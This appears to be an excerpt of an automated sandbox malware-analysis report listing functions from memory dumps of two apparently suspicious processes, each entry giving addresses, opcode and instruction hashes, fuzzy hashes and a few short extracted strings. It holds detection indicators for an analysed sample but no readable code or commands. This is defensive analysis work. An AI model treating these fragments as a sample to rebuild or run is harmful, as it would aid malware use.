Function 00007FFD9BAF8509 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 810936c5e8ec2e624f269aeac36d93d12a5a9a43f4435756d123705e48987b8a
Instruction ID: dbaf4e7869f09bf42f8ced414a81183fb2e2f24bd9e46ea1c1f6fd5120822f39
Opcode Fuzzy Hash: 810936c5e8ec2e624f269aeac36d93d12a5a9a43f4435756d123705e48987b8a
Instruction Fuzzy Hash: 4FE01A7154E3C44FCB06AB7488658553FA09E6B21078B40EEC185CF1B3E62D8949C701

Function 00007FFD9BAD453E Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a910977822b8c92c576265edb5b32a01c18198aee3000b557f60e55b00c8074
Instruction ID: 5076f2f3662c58d76b691443f69e215c777f5f1ace16fe46c5ebec0fcdc110a3
Opcode Fuzzy Hash: 7a910977822b8c92c576265edb5b32a01c18198aee3000b557f60e55b00c8074
Instruction Fuzzy Hash: EFE04F3270EC0E8AF771A75888645BE3252ABD0322B164335C01EC31E5DEACEB068681

Function 00007FFD9BAFA7E0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BAFA750 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BAFDCF9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c86fded1930a1f603ba335a5ee18e657c5ad2e83db752248d3747d970606636
Instruction ID: 9713601686de56f99d46f056a9ef4fae23ddfa95840f0701623eac1a27ef7273
Opcode Fuzzy Hash: 1c86fded1930a1f603ba335a5ee18e657c5ad2e83db752248d3747d970606636
Instruction Fuzzy Hash: C9E04F2154F3C44FC70B973088788503F609E1721074A41EAC145CF2B3E9298C49C712

Function 00007FFD9BAE9189 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aa733bbe95b4f402a5168598b0d167bf7600790ef9767f2e70ad8ed3d05f3af
Instruction ID: a3c1f2b569e3ae8eb1933fa5ff41021ed2e9bd8d8dddacb3314d1d4897e574de
Opcode Fuzzy Hash: 0aa733bbe95b4f402a5168598b0d167bf7600790ef9767f2e70ad8ed3d05f3af
Instruction Fuzzy Hash: 57E01A7154A3C04FCB06AB7488A99443FB0AE6B21078E41DEC04ACF1B3E62D8949C701

Function 00007FFD9BAF9619 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41fe43c65c7414e98c21418380f3e6dc5b9a020a0dc282fe106c742bab5957b8
Instruction ID: c8c378fc38d94044646397e189844600d946c0dd9b4a1e22f3f1b4ad89a0aebe
Opcode Fuzzy Hash: 41fe43c65c7414e98c21418380f3e6dc5b9a020a0dc282fe106c742bab5957b8
Instruction Fuzzy Hash: ABE0177190A7884FC74A9B3488A99803FB0EE6B21178B01C7D045CF5B3EA5D8D89C752

Function 00007FFD9BAF8079 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d31fa697f5e44a0111269a3430acab1cb1bcd2aacb62210cce70f3a499f91b1f
Instruction ID: d32185705cd2da419cb85299d93dd1da11d3d7e2c48b8f2930a3cde888bebab2
Opcode Fuzzy Hash: d31fa697f5e44a0111269a3430acab1cb1bcd2aacb62210cce70f3a499f91b1f
Instruction Fuzzy Hash: AFE04F2154F3C04FC70B973088B88547F60DE2B21038A40EEC145CF2B3E5298D49C702

Function 00007FFD9BAFDC79 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3fa799343420fc2f7fb740c623fb9b4f5aab2b078573fd9b9dceea2072441a2
Instruction ID: 65aec5663ad2742d356b1a54043c2dd432b3c2062ecb00ab5a9225a1fa98eef4
Opcode Fuzzy Hash: d3fa799343420fc2f7fb740c623fb9b4f5aab2b078573fd9b9dceea2072441a2
Instruction Fuzzy Hash: 6AE04F2154E3C44FC70B973088788503F609E2721078A41EEC145CF2B3E6298849C702

Function 00007FFD9BAC6A11 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction ID: 1e7ea4726f0590c06b16de3dc9349bf9a163589073d4b6c201e5a33f5b902515
Opcode Fuzzy Hash: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction Fuzzy Hash: 51E01220F0901E4BFBB4B794C8607B962A1AF94300F1240B4D80D933E2DDB86F814749

Function 00007FFD9BAC5384 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction ID: ed0e61b198001209f818b04ed4d54ac883336c0034daeb39cc2ad2099b5da0ca
Opcode Fuzzy Hash: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction Fuzzy Hash: 47E0EC24F0A80E8FEEA4FBA880786B822C29F54710F0A40B4E40DC72B2DDA8A9014704

Function 00007FFD9BAE5482 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bae3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89f6b807177e1225d16e7df19c848799da2258c7ea209a9a332e77e5e1de8161
Instruction ID: 37edc7076fc4c2e28668e714698bc654a96485dc4b70f56e8cf4b7ad10628b33
Opcode Fuzzy Hash: 89f6b807177e1225d16e7df19c848799da2258c7ea209a9a332e77e5e1de8161
Instruction Fuzzy Hash: 23C0121275E81D0A7598B15C38521F883C2D7C813571513F3E00DC328ADC0A598302C4

Function 00007FFD9BAF20F0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9BAFBDE0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f89cb3f62b3182ca9adc3d9aed498fb5175fa03025083ebc1b10905a140eb21
Instruction ID: fc53cdff608347623775037792c106689762831bf29b6ef07b9df21540533fd9
Opcode Fuzzy Hash: 9f89cb3f62b3182ca9adc3d9aed498fb5175fa03025083ebc1b10905a140eb21
Instruction Fuzzy Hash: 13D02230B509040FC70CA73888588703790EB6A202B8200A8D00AC72B1D9AADC89C741

Function 00007FFD9BAF75B8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90708a79087e72b77d4e0fa24157253c780a8196c08309517985a8ca87fb076
Instruction ID: 93ada8c3559bb867e47995193bd0202fb733a6a8fa3329ca9ccae7e0f10ffa3a
Opcode Fuzzy Hash: e90708a79087e72b77d4e0fa24157253c780a8196c08309517985a8ca87fb076
Instruction Fuzzy Hash: 9BD01234B519044FCB1CA7388859C747791EBAA216BD540A9D00AC73B1D96ADD89C741

Function 00007FFD9BAC0835 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e936795df280284fbe1680a90c07a03b5b2cd9b3a8fad33150715f2f2d6be2e3
Instruction ID: 4129fd0d51a785f1061e2ea5148f07247befa67b87b118e53b1d9063a8df5a84
Opcode Fuzzy Hash: e936795df280284fbe1680a90c07a03b5b2cd9b3a8fad33150715f2f2d6be2e3
Instruction Fuzzy Hash: 93C01214B5740D51D03473AEEC664F97740AF48118F864171E40D85096DC491587C2DA

Function 00007FFD9BAC0B9D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction ID: 050d8e8814590b799ee996d36945032e3fad8cecaae2ead40cbd6cb78caa5bea
Opcode Fuzzy Hash: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction Fuzzy Hash: 2EC0123062A80E8FDA80BB28C889824BBA0FB0E201BDA00E0E00CC71A1D65A98908700

Function 00007FFD9BAC06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction ID: 2234e022e19ea5219197fb4616ed885ec4011342f418d6e6b18645ffdf65eab9
Opcode Fuzzy Hash: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction Fuzzy Hash: 3FC08C00F0F40F40F83037EE14220BCB1005BC4A10FD30132D04C820E19CDE22C5418E

Function 00007FFD9BAC308E Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73ef918897a28a046fa25eb39959af67a0da31d7b18ff15a8c18fd550651f5eb
Instruction ID: 1371e74155b0f91854bca2e2a6cd2e91ec6028f4eb97be708c9d60db2fe2fc1b
Opcode Fuzzy Hash: 73ef918897a28a046fa25eb39959af67a0da31d7b18ff15a8c18fd550651f5eb
Instruction Fuzzy Hash: B7C01210F2AD0E0BEEFCB3B480352FD00C26F48B00F660434D00ED32E2DCAC2A404A84

Function 00007FFD9BAD7D6E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3f8e72630c80a729c6a5733f170a9b71b42a4221c4276c24c4315fbdda3be2
Instruction ID: 209770f3f9a3f57c00c020382ae85afd256a65f6a4c24d2cb60b502e3045faf9
Opcode Fuzzy Hash: cc3f8e72630c80a729c6a5733f170a9b71b42a4221c4276c24c4315fbdda3be2
Instruction Fuzzy Hash: 24D0C930E09618CEEBA0DB64C851B68B7B2FF48310F5002F6C01DE22CACB356D819B40

Function 00007FFD9BAC34BF Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70a636803c2d19e658c225ad7ceb6835a3a10cf9637c049eb9b1d0e7cc11ff4b
Instruction ID: 736bfa4a546e3fc1d6b711c3216dfa05c0558b644aee6c430225745e7267d948
Opcode Fuzzy Hash: 70a636803c2d19e658c225ad7ceb6835a3a10cf9637c049eb9b1d0e7cc11ff4b
Instruction Fuzzy Hash: 4CC04C01F1DC2A07E25976144C3567E44535F94729FD902B4E41F873DECD5D5E0206C6

Function 00007FFD9BAC06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction ID: b00b1116aa25af495023ca70037b5d0b26bb27b9196e46cda1e400c7530b80a8
Opcode Fuzzy Hash: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction Fuzzy Hash: 92B01200D5F44F40E83433FB095217870405B44104FC20170D40CD119198CE12944286

Function 00007FFD9BAFD5A0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9baf1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7d2018242a0126bf40494a73c7f59b4a5ac1d0e95081e02a01ac1a34b36981f
Instruction ID: 2b18dceb9d33b39305405c3ad9930cbe0a3ac247b75680c48a129e04e1d765a3
Opcode Fuzzy Hash: c7d2018242a0126bf40494a73c7f59b4a5ac1d0e95081e02a01ac1a34b36981f
Instruction Fuzzy Hash: EBA00144E6692E01A91832BA4A965A53CA25A88295FC901A1A948881D7E88D52EA12A2

Function 00007FFD9BAD2C40 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1249c1b0514c7178be080b616e912f9abb5f72fd4ef16b669b0acf00b4ae93e6
Instruction ID: a84aa108b41ec2fe9044ace8939f3ab70d8be2d6593a8267f9aa5b5f908a2e05
Opcode Fuzzy Hash: 1249c1b0514c7178be080b616e912f9abb5f72fd4ef16b669b0acf00b4ae93e6
Instruction Fuzzy Hash: 9AA00204E9780E01D81832FB1E970A474505FA9154FC61960E80985196FCCE5BE90393

Function 00007FFD9BAC6A8C Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction ID: 08126a0ba31587a5188420524d8baa40e4e82ab567600cd11480db9608fdb9cf
Opcode Fuzzy Hash: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction Fuzzy Hash: B8B09201F0E12B46F1B032D4052937902D00F70344F0B0438D80C872E2FDDCAE010149

Non-executed Functions

Function 00007FFD9BAC09B0 Relevance: 5.2, Strings: 4, Instructions: 195COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD9BAC0B46
c9, xrefs: 00007FFD9BAC0B56
!k9, xrefs: 00007FFD9BAC0B4E
#{9, xrefs: 00007FFD9BAC0B3E

Memory Dump Source

Source File: 00000024.00000002.1995674334.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bac0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 85c06e23354b5e73a81d95539ee200d0fde7fdbb8bb3cd475c1631cb099e5e18
Instruction ID: 579273eef08cfa2f0780210e9b83f76135f4f5566ba582a9906b28aa7542d3a7
Opcode Fuzzy Hash: 85c06e23354b5e73a81d95539ee200d0fde7fdbb8bb3cd475c1631cb099e5e18
Instruction Fuzzy Hash: E4514C06B1A46A45E339B7FD78219FD6B449FA927FB0843B7F85D8E0C74C486085C2E9

Analysis Process: SfLAFHFXIbHzHGgilQgXtKOw.exePID: 7576, Parent PID: 6016COMMON

Executed Functions

Function 00007FFD9BAC0D48 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

5Y_H, xrefs: 00007FFD9BAC0DF3

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9bac0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: 8c27e72acf8dfe3bf16716be77a7ad7d3640c6b487432d1ae3b0d8d723b53278
Instruction ID: 16cec2a0dadae27774669c350269a2850b77d79f87d2d8bef3cb12d60a70f0c0
Opcode Fuzzy Hash: 8c27e72acf8dfe3bf16716be77a7ad7d3640c6b487432d1ae3b0d8d723b53278
Instruction Fuzzy Hash: D791B471A1DA8D8FD759EB6C8C697B97BE1FB65314F4102BEE049C72E2CBB914018740

Function 00007FFD9BAF1441 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9baf1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d083ec232b6b44604c211c1e83a2ce589485f5bf7d31fe36969f8d29f6af8d19
Instruction ID: 9828a427359fe39f0263c7cb770282f6a7a3e2a5ef055c250d35877784978a39
Opcode Fuzzy Hash: d083ec232b6b44604c211c1e83a2ce589485f5bf7d31fe36969f8d29f6af8d19
Instruction Fuzzy Hash: 0ED19021B2E78D0BE32D4B684D920F53B91EBA2306B1986BDD5DBC7097D968A50783C1

Function 00007FFD9BAF1475 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9baf1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367e841e9c0e649e3cff6f417649fa37a9ffff2c4091ff6e541b47ba0574df76
Instruction ID: 65f95e7b9d49bf137d9cc99483d921f3e478bc38fe21c18322e108bbec08c0bc
Opcode Fuzzy Hash: 367e841e9c0e649e3cff6f417649fa37a9ffff2c4091ff6e541b47ba0574df76
Instruction Fuzzy Hash: FF81C071F2D34E0BE32C4A684C920B13BD5EBE6216B1A867DD9DBC3197DD68B90742C1

Function 00007FFD9BAFA7C9 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAFA7E6

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9baf1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: e50a372c66d73d6959bffac753331f53057a701bfd7f2146432d1e5f8e268a21
Instruction ID: 1756b7ed639bd5e73031c1d9ae49dbd7a484f93142dc853b1486fea5542a7c9d
Opcode Fuzzy Hash: e50a372c66d73d6959bffac753331f53057a701bfd7f2146432d1e5f8e268a21
Instruction Fuzzy Hash: 58E0656160F7C44FDB15AA3484698947F70EF6721174A52EEC045CB1A3EA1D9886C701

Function 00007FFD9BAFA739 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAFA756

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9baf1000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 1efa397fa057cd1a98d39ec1929409eca4709694baa5fd15f1f24b4f36f222a6
Instruction ID: dbfe1148f7c8508a008613384f7039a97ab8a1aed294f159a683bd8f5a2eda34
Opcode Fuzzy Hash: 1efa397fa057cd1a98d39ec1929409eca4709694baa5fd15f1f24b4f36f222a6
Instruction Fuzzy Hash: E9F0656160F7C44FDB16AB3488698547F70EF6720174A52EFC445CF1A3EA1D9885C711

Function 00007FFD9BAD39D9 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAD39F6

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9bad0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 2952cae637c9117dcc4fcc3abe100bd0baad343fe22032601ccc96e4e828180a
Instruction ID: 4d5a0c90985db2520885e20079e1b0c4d84c80894ee2ef7fa524ac77e3709838
Opcode Fuzzy Hash: 2952cae637c9117dcc4fcc3abe100bd0baad343fe22032601ccc96e4e828180a
Instruction Fuzzy Hash: 40E0127164E3C44FCB1AEB7488688557FA1EF6721174A52EEC146CF2E7EA2DC889C701

Function 00007FFD9BAE5729 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAE5746

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAE3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAE3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9bae3000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 142d378f8b1242da5de8d4cbee63bc27b24d8fe6a0b0184704956c9931c2b726
Instruction ID: 51f292edaf2bce4b247d704aa40d5874d882742b414489493e199da3f8c9224a
Opcode Fuzzy Hash: 142d378f8b1242da5de8d4cbee63bc27b24d8fe6a0b0184704956c9931c2b726
Instruction Fuzzy Hash: 6CE0656164E7C44FC716A6748869455BFA0EF6721174A45EFC046CF1A7DA1D8845C701

Function 00007FFD9BAFAFB9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAFAFD6

Memory Dump Source

Source File: 00000026.00000002.2000252520.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

